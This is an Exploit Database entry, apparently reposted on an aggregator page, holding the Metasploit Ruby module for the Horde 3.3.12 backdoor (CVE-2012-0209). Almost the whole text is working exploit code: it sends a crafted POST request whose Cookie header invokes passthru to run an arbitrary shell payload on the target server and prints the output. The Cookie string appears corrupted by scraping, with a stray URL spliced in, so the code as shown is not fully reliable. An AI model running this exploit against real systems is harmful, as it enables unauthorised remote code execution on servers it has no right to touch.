Horde 3.3.12 – Backdoor Arbitrary PHP Code Execution (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2012-02-17
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/18492/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',
  			'Description'=> %q{
  					This module exploits an arbitrary PHP code execution vulnerability introduced
  				as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.
  			},
  			'Author' => [
  				'Eric Romang',# first public PoC
  				'jduck' # Metasploit module
  			],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'CVE', '2012-0209'],
  					[ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],
  					[ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'BadChars' => "\x0a\x0d",
  					'DisableNops' => true,
  					'Space' => 4096,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  						}
  				},
  			'Platform' => [ 'unix', 'linux' ],
  			'Arch' => ARCH_CMD,
  			'DefaultTarget'=> 0,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DisclosureDate' => 'Feb 13 2012'
  			))
  
  			register_options(
  				[
  					OptString.new('URI', [true, "Path to Horde installation", "/horde"]),
  					OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),
  				], self.class)
  	end
  
  	def exploit
  		# Make sure the URI begins with a slash
  		uri = datastore['URI']
  		if uri[0,1] != '/'
  			uri = '/' + uri
  		end
  
  		# Make sure the URI ends without a slash, because it's already part of the URI
  		if uri[-1, 1] == '/'
  			uri = uri[0, uri.length-1]
  		end
  
  		function = "passthru"
  		key = Rex::Text.rand_text_alpha(6)
  		arguments = "echo #{key}`"+payload.raw+"`#{key}"
  
  		res = send_request_cgi({
  			'uri' => uri + "/services/javascript.php",
  			'method'=> 'POST',
  			'ctype' => 'application/x-www-form-urlencoded',
  			'data'=> "app="+datastore['APP']+"&file=open_calendar.js",
  			'headers' =>
  			{
  				'Cookie' => "href="https://www.exploit-db.com/exploits/18492/+function+":"+arguments,
  				'Connection' => 'Close',
  			}
  		}) #default timeout, we don't care about the response
  
  		if (res)
  			print_status("The server returned: #{res.code} #{res.message}")
  		end
  
  		resp = res.body.split(key)
  		if resp and resp[1]
  			print_status(resp[1])
  		else
  			print_error("No response found")
  		end
  
  		handler
  	end
  
  end